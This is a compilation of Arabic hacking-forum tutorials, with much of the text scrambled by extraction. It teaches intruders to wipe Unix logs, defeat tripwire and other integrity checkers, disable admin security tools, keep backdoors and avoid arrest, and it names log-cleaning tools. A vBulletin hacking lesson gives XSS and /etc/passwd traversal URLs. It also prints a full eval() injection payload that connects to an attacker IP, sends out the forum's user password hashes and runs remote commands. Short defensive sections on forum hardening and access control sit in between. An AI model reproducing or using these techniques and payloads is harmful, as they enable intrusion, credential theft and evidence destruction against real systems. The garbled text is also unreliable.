حتى المخفي منها  من الهام ق  ت اللو ر على كل ملفا روري جدا ان تعث حصول و.. و الض هذه   العثور علىلل

ریقتین  ت یمكن ذلك بهاتین الط   :الملفا
حه  -١ ت المفتو ج :ثر على جمیع الملفا رنام ختصار LSOF و یمكنك ذلك باستخدام ب  List Open هو ا

Files ل فیهم و من ثم یمكن العثور   علیهم و التعدی
ت  -٢ ر ت التي تغی ر ( حث عن كل الملفا ث فیها تغیی خولك  من) حد   -بعد د
خولك قم بعملبع   "find / -newer /tmp/check -print" و بعدها قم touch /tmp/check د د
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خ الشكل التالي  حث : العملیه التي سنقوم بها ستاذ ج  <-ب ج  <-نتائ ل <-مطالعة النتائ   تعدی
ضا بالتشیك على اماكن ال   /var/log و /var/adm و /usr/adm الاعتیادیه log files قم ای

ت في الاذا یتم تس ل العملیا ق  xx@loghost یعني loghost جی ت هنا في ماز حیث انه لابد من .. فان
ق ال ق loghost ان تختر ت اللو   لتعدل ملفا

ق ل اللو رر logfiles یمكن تعدی ح ق ابسطها باستخدام اي م ر ط ر  text editor كتابه بعدة  او قم بعد اسط
ف باستخدام ر  wc المل خ ف ا حذ ر من١٠و من ثم  - head" : لالخ  اسط

LineNumbersMinus10"  حا ( بالعربي رو   ( head - منه١٠عدد السطور مط
ج رنام طه استخدام accouting اذا كان ب ر یمكنك ببسا رف ت على السی  acct-cleaner from مثب

zhart ل اللازم   و هو هیعم
 

ضا utmpx و wtmpx اذا كان النظام یستخدم ت في ورطه  ای ف عزیز ان ف !!! فمع الاس ر فانا على اع
حاله  ل في هذه ال ج للتعام رنام حد  ..اي ب ج وا رم ت ان تب رمجین ( لو استطع خوه المب لا تنسى ان تعلنا به ) للا

(= 
 
ق من - حق  syslog configuration and logfile ت

************************************ 
ج على ال رام ری syslog function تعتمد معظم الب ل اي شئ ی ق من .. دونه لتسجی حق فعلیك ان تت

ص ال   syslogخصائ
ت ت اللوقا ى  hosts لاتخزن فقط على الجهاز انما على logs فاذا كان ر خ انك لابد من  فیؤسفني... ا

ق هذه خترا  hosts ا
ف ال  /etc/syslog.conf موجود في syslog مل

 
ج الامن المثبته - رام ت ب ق من نوعیا حق  ت

****************************** 
س الأمني العالي توجد ح ت ال ص الأمني غالبا على المواقع ذا ح ج الف رام ج  وتدار هذة. العدید من ب رام الب

ضي أو الطبیعي هو cron بواسطه أداه تسمى  /var/spool/cron/crontabs و یكون مكانها الأفترا
ت  خلا ت التي یستعملها و Rootخاصه الـ. و هي تقوم بمتابعه جمیع المد ح. الملفا ریع من للت ق اللس ق

ر التالي ضوع نستخدم الأم   المو
"crontab -l root". 

حساب حمله و عامله على  ت م ر غالبا ماتكون هذه الأدوا ص  ~/bin و یكون بعضها في مجلد الـ. المدی الخا
س المكان sinnefer كما یمكن ان یكون هناك. به ض امنیه في نف را ضوع لأغ  .مو

ل في مثل هذه ت تستعم ت ال تمن الأدوا حوصا خلیه  الف   الدا
tiger, cops, spi, tripwire, l5, 
binaudit, hobgoblin, s3 etc. 

ر التي ت و التأكد من التقاری م أن یتأكد من وجود هذه الأدوا ح للتأكد من أنها لا ، ترسلها  ینبغي على المقت
حام ف عملیه الأقت  تكش

ج رام ت هذه الب ل مفا حامللتأكد من أنها لن تقوم بالأ یمكنك تعدی ریقتین، بلاغ عن الأقت  :و یمكن تنفیذ ذلك بط
غ عنك  قم - رمجیا لكي لا یقوم بالأبلا ج ب رنام ل الب رنامجا  أو قم بأزالته و) واسعه شویه دي(بتعدی ل ب أستعم

  مزیفا
ر إلى أزاله الـ - ى الذي أستعملته و back door قد تضط ر خ ریقه أ حمیله بط حاوله ت  م
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ء- ق من وجود المدرا حق  Admins ت
**************************** 

ء على ت العادیه التي یتم أستخدامها، الموقع من المهم أن تجد جمیع المدرا حسابا حاول معرفه ال  .و ت
ف ق لكش ر ط ت توجد عده   :هذه المعلوما

ف - ص المل ح ت الـ forword. قم بف خلا  alias و مد
ف الـ- ص مل ح حو في تنفی sulog أف حدد المستخدمین الذین نج رو  ح su root ذ الأم  بنجا

ف الـ - حب مل ت التي لها علاقه بالأداره group أس حث عن جمیع المجموعا  ,admin, root ) و أب
wheel, etc 

ف- حب مل ء passwd أس ر المدرا ت س ض كلما ر لعر  بالنسبه للمدی
 

ء على الموقع ،یعد كل هذا  ل إلى مجلداتهم الخاصه . یمكنك معرفه كل المدرا خ حاله ( أد أستطاعتك  عدمفي 
ت التالیه،  حدى الأدوا ل شخصیه chid.c, changeid.c أستخدم أ حا ت ) . المستخدم لأنت ص الملفا ح و أف

ر التي یستعملونها عادة لمعرفه history/.sh_history/.bash_historyالتالیه قد یفیدك ، الأوام
ر على الموقع ت مخفیه أو، هذا في معرفه دور المدی ف معلوما تقم بف. أكتشا ص ملفا  ح

.profile/.login/.bash_profile راجعه ت الـ لم ت ، التي تستخدم aliasأعدادا ت أدوا و إذا ماكان
خفیه مستخدمه ت  و من. أمنیه  ت و المجلدا ص كافه الملفا ح طبعا أن تقوم بف خاصه المخفیه منها ، الطبیعي 

ض حقا قد تجد بع ء المفیده    الأشیا
 
 

checksum checking software 
************************ 

ج رام ل( checksum ب ء هو قیمة رقمیة تُستعم خطا ت من الأ خلو البیانا حسب من . للتأكد من  هذه القیمة تُ
ف  )الجمع خلال عملیة كش

 
ت في را ث اي تغیی حدو ق من  حق ج للت رام ل ب ء ویقمون باستعما ض المدرا ث اي  بع حدو حالة  ت، وفي  الملفا

ت ویستطی ص الملفا ح ر، یقوم بف  ع اكتشافهاتغی
ف ف تعر حیث فكی ف تعدلها ب ت فكی رف ت؟ واذاع ق واي الانواع استخدم حق ج الت رام ت هناك ب  مااذا استخدم

 تخدم من اجلك ؟
حدة منها ق ومن السهل كتابة وا حق ج الت رام ف ما اذا  هناك انواع عدیدة من ب بنفسك ولكن من الصعب اكتشا

ت ج علي الملفا رام ت مثل تلك الب حمایة استخدم  لل
صهذه ح ج التي تقوم ب عملیة ف رام ض الب ء بع  checksum  اسما

SOFTWARE : STANDARD PATH : BINARY FILENAMES 
tripwire : /usr/adm/tcheck, /usr/local/adm/tcheck : databases, tripwire 

binaudit : /usr/local/adm/audit : auditscan 
hobgoblin : ~user/bin : hobgoblin 

raudit : ~user/bin : raudit.pl 
l5 : compile directory : l5 

 
رة، ت كثی حتمالا ء كما تري هناك ا ر، مثل جز خ ء آ ت یوجد علي جز ج نفسه او قواعد البیانا رنام  ربما الب

NTFS ف او ضی ت لم ل معلوما حم ت التي ت حتي قواعد بیانا ر ، او  خ في جهاز  checksum جهاز آ
حمي علي ص( الكتابة  م  ..) .مثلا  CD اقرا

ریع ص استطلاعي س ح ج المستخدمة ، واذا لم تستخدم ففرصتك،  ولكن یمكنك القیام بعملیة ف رام لمعرفة الب
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ت ج هذا یعني ان الموقع او المزود  واذا لم تجد شي ولكنك كن رام متاكدا من استخدامهم لتلك الانواع من الب
حمي ت ابدا ) هارد لك ( بشكل جیدا  م  ..ویجب ان لا تعبث بالملفا

 
ل اذاو رها؟؟ لكن ماالعم ج وبامكانك تغیی رام ت انهم یستخدمون تلك الب  اكتشف

  یمكنك
ت  ایهام تلك- ١  حدیث قواعد البیانا ف ما بشكل قانوني ویتم ت ر مل ق شرعي بانه تم تغیی ر ج بط رنام  مثلا الب

"tripwire -update /bin/target". 
 
ت التيا-٢ ر قائمة الملفا حصها نك تغیی ل اسم  یجب ف رة وتزی حصها م راد من القائمة فلا یتم ف ت الم الملفا

ق  حق ري للت خ حصها ب (ا ت نفسها لا یتم ف ف قواعد البیانا ضا ان مل  checksum ولكن یجب ان تتاكد ای
ت بها  حتي ت التي قم را ف التغیی  )لا یتم اكتشا

 
 
  
  
ل المستخدم الامنیه    حی

******************* 
ل ما ندر توجد او تستخدم ل حی ت كل شئ  كنني كتبتها فقطهذه ال ضوع ( لاكون شمل ل المو ض ) .. لكما فبع
ص فیقومون  و admins المستخدمین یسمون اشتراكاتهم ریدون ان یعبث في ملفاتهم اي شخ بالطبع لا ی
ت ال ل في ملفا حی ض ال ل بع ق من startup بعم حق  profile, .cshrc, .login, .logout. لذا فدائما ت

خ  ت( ال   ) تبدا بنقطه التي اي الملفا
 
 
 

س  ء الخام  :الجز
========= 
راقبه؟ ماذا تفعل ان ت الم ح ت ت ضع  و

*************************** 
ت المیكروسكوب  ح ت ت حب راقبه  (متى اص حتى ال) الم طه او  ر علیك القیام  administratorsمن قبل الش

ریعه ت هامه و س ل  بخطوا رهان ( حتى لایستطیعو الامساك بدلی   علیك) ب
 
حوظه  - ل ان كان في اعتقاد: مل ت  hacker انك administrators ا راته  <==فان ت ب حتى تثب مذنب 
... 

ق بین ال ) admins القانون اي شئ لل لایعني ر ت اعتقد انه لا یوجد ف ض الاوقا  و ال hacker بع
administrator ر هو ال ر ا عندما یعتقدون) فقط  administrator الا بان مالك الكومبیوت نك هاك

ت مذنب  ح ریدك اللكتروني و ملفاتك.. فانك فورا اصب راقبة ب ف الادمین  سیقومو مباشرة بم حتر و ان كان م
ى  ر خ ضا هجماتك الا رصدك ای   ..سی

راقبة كل خط تیلیفونك  اذا كان یمكنهم م راقبة  طه یمكنهم م ت اكید ببسا   ..هذه الاتصالا
خبار لذا فعلیك عدم القیام ت فیها ا خترقاتك باي اتصالا رهم..  ا حابك فلا تخب حذر اص ت ان ت حتى ارد  و ان 

رید الكتروني  را( هاتفیا او بب رهم عندما) الا اذا كان مشف و .. تقابلهم وجها لوجه  و من الافضل ان تخب
ر عادیه  ل غیی ل اي رسائ   ..تمنعهم من راسا

رین  لتؤمن نفسك ر الى شه ل على الاقل من شه حا اعتقد  و الا ستواجه مشاكل. .علیك ان تبقى على هذا ال
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رغب بها   انك لات
 

ء السادس   :الجز
========= 

ض ما الذي علیك القیام حالة انه تم القب ضا الذي لابد من عدم القیام به في   :علیك به و ای
************************************************** 

 
**************  

حامیك فورا : اولا  قلا ت!!!! : اطلب م حقی ت و ترد على الت حامیك كي .. بمفردك  حاول بان تتذكى ان طلب م فا
بعدها غالبا ما سیطلب .. لا تذكره نهائیا  یدافع عنك هو و یطلعك على ما یجب ان تذكره و ما یجب ان

حامي جهازك  ر ( الم رعه) الكومبیوت ء  باقصى س ل جمیع الاعبا می ح ل و الا علیهم ت حتیاجه في العم حجة ا ب
ث عن عدك استخدام الجهاز   و المشاكل التي قدالمادیه حد لذا فانه من العملي جدا ان یكون عندك .. ت

حامي جاهز في ر م حث و التدوی ت قبل ان تقع الفاس في الراس و بعدها تبدا في الب  اي وق
طه  ابدا: ثانیا  ر م الا الش حجة ان هذا!!! : لا تتكل ت عنك او عن زملائك ب طه اي معلوما ر  لاتعطي للش

ق  رجك من الماز ف العقاب عنك و سیخ ر .. سیخف كان یجب  و ان.. لان هذا لن یفیدك بل سیدینك اكث
حامیك  خلال م طلب ان یتم هذا فقط من  حقوقك ( استجوابك فا ق من  ح ضا    )و هذا ای

س ققط كنوع من الشهامه  ر ابدا عن اصدقاؤك لی حابك في.. لاتخب خول اص ضا بد ضوع ستتسع  انما ای المو
رة ضادائ رائمك و هم ای ت عنك و عن ج ضوع و من ثم تزید المعلوما  !  المو

ء من ر ملفاتك او جز طه فك تشفی ر ضمن قانونها انه اذا لم تستطع الش ض الدول من  الهارد دیسك فیمكنك  بع
ح عنها ریه عدم الافصا ح  بمنتهى ال

ى في ر خ ض الدول الا ت في المصیده لابد ان تدلي لكن بع ت وقع  لهم بكل شئ في هذه قانونها انه مادام
حك حاله انص ره ال صلبه مشف ص  حامیك و انكار انك لدیك اي اقرا   باستشارة م

 
ء السابع  : الجز

======== 
ء ختبا ج للتخفي و الا رام  : قائمه بافضل الب

****************************** 
Change - Changes fields of the logfile to anything you want 

Delete - Deletes, cuts out the entries you want 
Edit - real Editor for the logfile 

Overwrite - just Overwrites the entries with zero-value bytes. 
Don't use such software (f.e. zap) - it can be detected! 

--------------------------------------------------------------- 
LOG MODIFIER 

++++++++++ 
 

ah-1_0b.tar Changes the entries of accounting information 
clear.c Deletes entries in utmp, wtmp, lastlog and wtmpx 
cloak2.c Changes the entries in utmp, wtmp and lastlog 

invisible.c Overwrites utmp, wtmp and lastlog with predefines values, 
so 

it's better than zap. Watch out, there are numerous inv*.c ! 
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marryv11.c Edit utmp, wtmp, lastlog and accounting data - best! 
wzap.c Deletes entries in wtmp 

wtmped.c Deletes entries in wtmp 
zap.c Overwrites utmp, wtmp, lastlog - Don't use! Can be detected! 

-------------------------------------------------------------------------------------- 
ء   :الثامن  الجز

========= 
ختامیه  كلمه 
********** 

حان  .. لاتدعهم ابدا یقبضون علیك ق و من لا .. دائما اجعل عیناك مفتو ف في من تث ر   !!اع
ر في نفسك فقط حولك ( لاتفك ر كل من  ضا تذك   )انما ای

حیاة ممتعه و امنه    ....تمنیاتي للجمیع ب
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 "المنتدیات حمایة " 
  

$$$$$$$$$$$$$  
  حقوقه لشبكة العقرب

$$$$$$$$$$$$$  
  

ف لغة ت php الكل یعر را ضا أنها ملیئة بالثغ ف أی ت و الكل یعر م بها المنتدیا رة و التي یصم   الكبی
 

ر أي منتدى حمایة ( vb ) إلیك مدی ت التي یتم بها  ض الأساسیا   /منتداك  بع
 
ضع-١ ر العام  ء المدی حد تكتبلاً و قبل كل شي رین إثنین وا ء   مدی ل المنتدى و كل شي ت و تعدی فیه المشاركا

ر العام ق المدی ر حتیاط عندما یس لإ ر ل خ   . و الآ
 
ف-٢ ر أي إفتح مل حكم بكلمة س حة الت مجلد index.php مي لو بواسطة المفكرة و  admin الموجود بـ

ر الذي هو  ف علیه كود كلمة الس ض   /أ
 

<?php  
 

$LOGIN = "User";  
$PASSWORD = "Password";  

 
function error ($error_message) {  

echo $error_message."  
";  

exit;  
}  
 

if ( (!isset($PHP_AUTH_USER)) || ! (($PHP_AUTH_USER == $LOGIN) && 
( $PHP_AUTH_PW == "$PASSWORD" )) ) {  

header("WWW-Authenticate: Basic entrer="Form2txt admin"");  
header("HTTP/1.0 401 Unauthorized");  

error("<p align=right><font face=Tahoma size=2 color=Red>س من حقك  لی
حة خول إلى هذه الصف   ;("<font></p/>الد

}  
?>  

ر   كلمتي مع تغیی
User  

  و
Password  

 
ء لماذا ؟؟ مثلا لو-٣ ضا ء و قعد ٣٠٠٠كان لدیك  غ قائمة الأع ضا ریم قائمة الأع ر الك ضع الزائ  عضو وو

ضغط حط به أصبح هناك  ر على المنتدى قد تسألوني لماذا لا نلغي قائمة الب یف حث في !! حث كبی لأن الب
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خ ضغط  النس ف و بهذا لن یكون هناك أي  ر ح ث أ ر من ثلا   .الجدیدة یكون بأكث
 
ر-٤ رورة  HTML فتح لغة  تكث حد أو إثنین فقط لوجود الض حها بمنتدى وا ت أي إفت لماذا ؟؟  ..في المنتدیا

ضیع التي تعتمد على هذه اللغة  ل یفسد جمیع الموا   .لأنه یوجد كود هتم
 
ش و. ع و ما أدراك ما التوقیع توقی-٥ ت فلا  إجعله فقط یخدم الصور أما الفلا   ....الصو
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 "أمن الشبكات"
  

$$$$$$$$$  
ر: الكاتب   الجوك

$$$$$$$$$  

ض -١ ض لبع ر ض لها الشبكة و كیفیة الوقایة منها ع ر الأمنیة التي قد تتعر ط   .المخا
  . الشبكة بأمنهاالولوج الى وصف لعلاقة -٢
ص الوصول -٣ خی حمایة الموارد بواسطة ترا   .كیفیة 
ت -٤ ح لمكونا   .ACL شر
ص -٥ خی ص الترا ح ح لعملیة تف   .شر
 

ص لأي مما یلي أي شبكة قد تكون خ ر ر الم ضة للوصول غی ر   :ع
 
ت -١   .المعدا
 
ت -٣   .البیانا
 
ت الشبكة -٣   .عملیا
 
  .الموارد -٤
 

ر الشبكة ىتعتمد درجة أمن الشبكة عل ت المتداولة عب حساسیة البیانا   .مدى 
 

م الأمن وفقا لنوع حكم  و یتم تنظی ص ، بینما یت حكم في أمنه الخا ت الند للند كل جهاز یت الشبكة ، ففي شبكا
ت الزبون المزود المزود في   .أمن شبكا

 
حافظة على ت التي تساعد في الم ءا را ض الإج   :أمن الشبكة و هناك بع

 
ت الأمنالتدریب ا -١ ءا را ل مع إج   .لمتقن للمستخدمین على التعام
 
ر المخولین -٢ صعوبة الوصول الیها من قبل غی ت و    .التأكد من أمن المعدا
 
س -٣ ضة للتجس ر ءها عن الأعین لأنها قد تكون ع خفا حاسیة و إ   .حمایة الأسلاك الن
 
ر فتضعها وكالة الأ -٤ س التشفی حاجة أما مقایی ت عند ال ر البیانا ریكیة منتشفی  National الوطني الأم

Security Agency (NSA).  
 
صلبة ،  تزوید المستخدمین -٥ ص  حتى أقرا ضغوطة أو  رنة أو م ص م ت أقرا ركا ح حتوي على م بأجهزة لا ت

ت باستخدام رقاقة إقلاع و تتصل هذه ل هذه الأجهزة ROM Boot Chip الأجهزة بالمزودا  و عند تشغی
ج رنام ل ب می ح ل RAM  الإقلاع في ذاكرةیقوم المزود بت   .للجهاز لیبدأ بالعم
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راجعتها عند-٦ راؤها على الشبكة لم ت التي یتم إج ل جمیع العملیا ج لتسجی رام رورة استخدام ب   .الض
 
ء تصاریح -٧ ت و Permissions إعطا طبیعة عمله و  للمستخدمین للوصول للبیانا حسب  ت كل  المعدا

ت و  حالة یجب مشاركة البیانا حفي هذه ال ت للسما رین باستخدامها المعدا خ   .للآ
 
ق -٨ حقو حدد الأنشطة و Rights تزوید المستخدمین ب ءها على النظام ت را ح لهم إج ت المسمو   .العملیا
 

ء ق  هناك نظامان أساسیان لإعطا حقو   :التصاریح و ال
 
رور -١ حمیة بكلمة م   .المشاركة الم
 
  .الوصول تصاریح -٢
 

ر لكل من الموارد المطلوبفي النظام الأول یتم تعیین مشاركتها و یتم الوصول لهذه الموارد فقط   كلمة س
ر   .من قبل من لدیه كلمة الس

 
ر كما ل أم وفقا لكلمة الس ءة فقط أم وصول كام حدید درجة الوصول هل هي للقرا  .تستطیع ت

ء التصاریح لكل مستخدم أو ق و إعطا حقو مین ، و یكفي أن مجموعة مستخد في النظام الثاني یتم تعیین ال
خول الى نظام رور عند الد ل المستخدم كلمة الم خ ق هذا المستخدم و  ید حقو ف النظام على  ل لیتعر التشغی

ر هذا ر بكل  التصاریح المتوفرة له، و یعتب حكما أكب ر الشبكة ت ق و یعطي مدی ر أمنا من النظام الساب النظام أكث
  .مستخدم

 
رور یتم تم ل الإسم و كلمة الم خا ر أمنعند إد ت الى مدی ر هذه المعلوما ت ری حسابا  Security ال
Accounts Manager (SAM) فإذا كان الولوج الى جهاز Workstation  ت یتم فإن المعلوما

حلیة في الجهاز، أما ت الأمن الم حسابا ت  ق مقارنتها مع قاعدة بیانا فإن  Domain إذا كان الولوج الى نطا
ت یتم إرسالها الى مزود ق، فإذا كان اسم  الذي SAM المعلوما ت النطا حسابا ت  یقارنها مع قاعدة بیانا
ر رور غی حین  المستخدم أو كلمة الم حی ص خول الى النظام، أما إذا كانا  حین فإن المستخدم یمنع من الد صال

رعي یقوم بإصدار بطاقة ولوج فإن نظام ف النظام بالمستخدم فترة Access Token الأمن الف  تعر
حتوي هذه ت التالیةولوجه و ت   : البطاقة على المعلوما

 
ف الأمني -١ حساب Security Identifier (SID) المعر ص بكل  خا   .و هو رقم فرید 
 
ت المجموعة -٢ حدد المجموعة التي ینتمي لها المستخدم Group SIDs معرفا   .و هي التي ت
 
ت -٣ حسابك Privileges الإمتیازا حة ل ق الممنو حقو   .و هي تمثل ال
 

ق  Access Token إصدار  یتمكما أنه ر على شبكتك و یطل خ ل من جهازك بجهاز آ حاولتك الإتصا عند م
ء الولوج عن بعد على را   .Remote Logon هذا الإج

راعاتها عند ت و  من الأمور التي یجب م حافظة على أمن الموارد مثل الطابعا حدیث عن أمن الشبكة هو الم ال
ص و ت الأقرا ركا ح ت و التي یقو م ر الشبكة بتعیین تصاریح لإستخدام هذه المواردالملفا   .م مدی

ت ما یلي و من   :التصاریح التي قد تعطى للوصول الى الملفا
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ءة و یسمح -١ ت تصریح قرا خ الملفا ض و نس   .لك بعر
 
ت -٢   .تصریح تنفیذ للتطبیقا
ت تصریح كتابة -٣ حتوى الملفا ل في م   .و یسمح بالتعدی
  .No Access  ممنوع الإستخدام-٤

حها لمستخدم أو مجموعة من المستخدمین و هذا أٍسهل   .و التصاریح ممكن من
حكم بالوصول كل معلومة یتم  و Access Control List (ACL) یمتلك كل مورد من الموارد قائمة ت

خالها في ق علیها ACL إد   .Access Control Entry (ACE) یطل
ء یتم حتوي علىعند منح التصریح لإستخدام الم ACE إنشا  للمستخدم أو مجموعته SID ورد و ت

ر مجموعة ما قد منُح ضنا أن مدی ضافة الى نوع التصریح، فلو افتر حة التصریح بالإ ءة و  الممنو تصریح قرا
ف ما فإن ضافته الى ACE تصریح كتابة لمل حتوي ACL جدید یتم إنشاؤه ثم إ ف و سی ص بالمل  الخا

ACE على SID ضافة ا ر المجموعة بالإ ءة ولمدی   .تصریح كتابة لى تصریح قرا
 

ل   : ACE هناك نوعان 
 
ح-١   .AccessAllowed  الوصول مسمو
 
  .No Access و یتم إنشاؤها إذا كان تصریح الوصول هو AccessDenied الوصول ممنوع -٢
 

حاول مستخدم ما الوصول الى مورد ما یتم مقارنة ص به مع SID و هكذا عندما ی  في كل SIDs الخا
ACE من ACL للمورد.  

 
حیث تكون ACE ترتیب  یتم٢٠٠٠و ویندوز  NT في ویندوز  قبل AccessDenied ACEs ب

AccessAllowed ACEs ، فإذا وجد SID خاصتك في أي من AccessDenied ACEs 
حث في ق  AccessAllowed ACEs فستمنع من الوصول الى المورد و إلا فسیب حقو للتأكد من ال

حة لك فإن لم  ر علىالممنو ق لخاصتك SID یعث ر تمنعك من الوصول للمورد مطاب حذی ض رسالة ت   .فستعر
 

ص الدرس   :ملخ
 

حافظة على أمن الشبكة و منها ت التي یجب اتخاذها للم ءا را ض الإج   :هناك بع
ت ، استخدام أجهزة عدیمة ر البیانا ت ، تشفی حمایة المعدا ت  تدریب المستخدمین ،  راقبة العملیا ص ، م الأقرا

ى على الشبكةالتي ر   . تج
 

ق  هناك نظامان أساسیان حقو ء التصاریح و ال   :لإعطا
 
رور -١ حمیة بكلمة م   .المشاركة الم
 
  ... تصاریح الوصول-٢
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 "درس مفصل عن كیفیة اختراق المنتدیات وطرق حمایتها"
  

$$$$$$$$$$$$$$  
ر: الكاتب حم   العقرب الأ

$$$$$$$$$$$$$$  
  

  نقاط٧الدرس یتكون من 
ت وانواعها -١  لمنتدیا
ختراقه -٢ ریقة ا  ط
ق -٣ خترا  SQL الــــ أ
ت -٤ ق المنتدیا خترا ت الویندوز ودوره في ا را رف  س
ره في -٥ ضوع وتعریبهم النسخه المنتش حقیقة المو ت ودور المعربین العرب و  الن
حمایه من المخترقین بنسبة -٦  لااجهزتكم ومنتدیاتكم %80 ال
قالمجله بجمیع نسخه قابل لاال -٧  خترا
 

ل الدروس ق ودلائ حقائ  جمیعها بالصورة و
 

ضافتة علیه وتعدیله ت بتجمیع الدروس والا  %100 قم
 

  ارجو عدم نقل الدروس وكوبي
 
 

*************************************************************************  
 
ت -١   وانواعه المنتدیا

^^^^^^^^^^^^^  
  

 
 

ت ت اولا منتدیا  اصداراته بجمیع Powered by: vBulletin  جونالمنتدیا
 
حتي الان ١ حدي منتداهم  ق ا  لماذا لم یختر
 عدو الایوجد لهم ملیون٢
حمایته تصل الي ٣ س منتدي جون و ت یومیا ولماذا لی ت المنتدیا را ر %60 الایخترقون عش رف  في الس
 

ت بموقعهم اشوي شغل كمان تصل لقلبهم لاارید را ل ا تفضل هذا ثغ ل لمن یفهمهالتطوی س مثا  لان ب
=php?topic.index/org.vbulletin.www://http

<script>alert(document.cookie)</script>  
 
2 

php?.index/org.etinvbull.www://http
|=forum/view.php&topic=../../../../../../../etc/passwd 
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******************************************************************************  
 
ریقة -٢ ختراقه ط  ا

^^^^^^^^^ 
ت   جمیع الاصدارا

ر نسخة  صف  بعضكم  بتذكرو یمكن١١٣فلنبدي من 
ف منتد ركبهكلنا نعر حب ی ت ی ت الفي بي ، وهذا النوع من المنتدیا حیان ، وهذا  یا ره في أغلب الأ قلیلین الخب

ف عندنا العرب بكثره   المنتدى هو المعرو
رنسي    Jouko Pynnonen (على ما أعتقد(الأول اللي كتبه الف

 
(vBulletin /com.ulletinvb.www://httpis a commonly used web forum )  

system written in PHP. One of its key features is use of templates,  
which allow the board administrator to dynamically modify the look of  

the board.  
vBulletin templates are parsed with the eval() function. This could be  

somewhat safe as long as the parameters to eval() are under strict  
control. Unfortunately this is where vBulletin fails. With an URL  

crafted in a certain way, a remote user may control the eval() 
parameters  

and inject arbitrary PHP code to be executed.  
 

A remote user may thus execute any PHP code and programs as the 
web  

server user, typically "nobody", start an interactive shell and try to  
elevate their privilege. The configuration files are accessible for the  
web server so the user can in any case access the MySQL database  

containing the forums and user information.  
 

According to the authors the vulnerability exist in all versions of  
vBulletin up to 1.1.5 and 2.0 beta 2. The bug does not involve buffer  

overrun or other platform-dependant issues, so it's presumably  
exploitable under any OS or platform.  

 
 

DETAILS  
=======  

 
vBulletin templates are implemented in the following way: the  

gettemplate() function in global.php is used to fetch a template from  
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database. The code is then passed to eval(). If we take index.php for  
an example, there's this code:  

 
 

if ($action=="faq") {  
eval("echo dovars(\"".gettemplate("faq")."\");");  

}  
 
 

The dovars() function does some variable replacing, such as replace  
<largefont> with <font size="10">.  

 
The gettemplate() function is defined in global.php:  

 
 

function gettemplate($templatename,$escape=1) {  
// gets a template from the db or from the local cache  

global $templatecache,$DB_site;  
 

if ($templatecache[$templatename]!="") {  
$template=$templatecache[$templatename];  

} else {  
$gettemp=$DB_site->query_first("SELECT template FROM template 

WHERE title='". addslashes($templatename)."'");  
$template=$gettemp[template];  

$templatecache[$templatename]=$template;  
}  
 

if ($escape==1) {  
$template=str_replace("\"","\\\"",$template);  

}  
return $template;  

}  
 
 
 

For effectiveness the function implements a simple cache for template  
strings. After fetching them from the database they're stored in the  

templatecache[] array. This array is checked for the template before  
doing the SQL query. Unfortunately the array is never initialized, so  

a user can pass array contents in the URL, e.g.  
(for simplicity not %-escaped)  
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faq&templatecache=php?action.index/url.site.www://tpht
[faq]=hello+world  

 
With this URL, you won't get the FAQ page, but just a blank page  

with the words "hello world".  
 

The eval() call above will execute  
 

echo dovars("hello world");  
 

As if this wouldn't be bad enough, a remote user may as well pass a  
value containing quotation marks and other symbols. Quotation marks  

aren't always escaped as seen in the code above, in which case  
index.php could end up executing code like  

 
echo dovars("hello"world");  

 
This would produce a PHP error message due to unbalanced quotes. It  

doesn't take a rocket scientist to figure out how a remote user could  
execute arbitrary code from here, so further details about exploitation  

aren't necessary. If your vBulletin board produces an error message  
with an URL like the one above prefixed with a single quotation mark,  

it's definitely vulnerable.  
The above example works with the "Lite" version. The commercial 

versions  
are vulnerable too, but details may differ. After a little experimenting  

on the Jelsoft's test site I found some of the commercial versions also  
have an eval() problem with URL redirecting, e.g.  

 
hello=ypass&url...p?actiph.member/url.site.www://httpworld " 

 
and a similar one in the Lite version:  

s&templatecache...php?acti.search/url.site.www://http
[standardredirect]=hello"world  

ت ف تعرفون الكلام هذا ولا داعي لترجمه ، من الكلام هذا أن خل ر ،  url ممكن ترسل أكواد  رف تنفذ في السی
  :جرب مثلا  الغبیه ، hello+world تضعها بدل الكلمه

 
حبه ممكن تركب علیه -١   vb 113 or 115 ركب في جهازك ملقم ویب أي ملقم ت
ت  -٢ ریقه فت( عندك في جهازك ٩٠أفتح البور ت تكون على مجازكط   )ح البور
ر url أرسل الـ -٣ رف   هذا الى السی
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search.php3?action=simplesearch&query=searchthis&templatecache[s
tandardredirect]="%29%3B%24fa="<%261";set_time_limit(substr("900"
,0,3));%24fp=fsockopen(substr("IP.IP.IP.IP",0,12),substr("90",0,2),%26%

24errno,%26%24errstr,substr("900" 
,0,3));if(!%24fp){}else{%24arr[200];fputs(%24fp,su 

 
bstr("vhak1.0,%20- 

d%20downloads%20database,or%20press%20return%20for 
 

%20command%20line" 
,0,63));%24va=fgets(%24fp,3);fputs(%24fp,%24va);if 

 
(strlen(%24va)>1){include(substr("admin/config.php",0,16));include(sub
str("admin/config.php3",0,17));mysql_connect(substr("%24servername

",0,strlen(%24servername)),substr("%24dbusername",0,strlen(%24dbus
ername)),substr("%24dbpassword" 

,0,strlen(%24dbpassword)));%24currenta=mysql_db_qu 
 

ery(substr("%24dbname",0,strlen(%24dbname)),substr("select%20*%20
from%20user" ,0,18));while(%24res=mysql_fetch_array%20(%24curre 

 
nta)){fputs(%24fp,"%24res[userid],");fputs(%24fp,"%24res[usergroupid

],");fputs(%24fp,"%24res[password],");fputs(%24fp,"%24res  
%24arr);%24str=exec(fgets(%24fp,substr("128",0,3)),%24arr);for(%24ir=

substr("0",0,1);%24ir< 
sizeof(%24arr);%24ir%2B%2B){fputs(%24fp,%24arr[%24 

 
ir]);fputs(%24fp,%24va);}}fclose(%24fp);}die(vhak_ 

 
finished_execution);echo%28"  

By Kill -9  
 
حظ حقك ، ثم IP.IP.IP.IP لا حط مكانها رقم الآي بي  رقم  هذه ت حظ بعدها وجود ال رها على ١٢الا  وهذا تغی

  ٩طوله   یكون١٢٧٫٠٫٠٫١طول رقم الآي بي ، مثلا 
 

حظ أنه یتنفذ ، ممكن ترسل كود ع كود ثاني وترسله وتلا ت تختر صار  ممكن أن یسجل لك أدمین ، هذا مثل ما 
طبعا) arabteam2000.com في صار في ، من باب التنبیه) أصدقائي  و  c4arab.com وكمان 

ق الإسلام و الثقافه  ری ف...ط ت ، بهد ر من المنتدیا ل بسیط  وكثی ضح أنه عم س التخریب ، ووا ر ولی حذی الت
ر ، أعتقد أهلیز حتاج لشویه من التفكی س وهذا سهل للغایه ی ت الداتالبی ح صار فیه ، ولكن مس   زمان 

 
ریقه قدیمه  حب یجرب فقط  ، نوعا ماط حطیتها للي    !!و
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حو ء والن   وأعذروني على الإملا
 

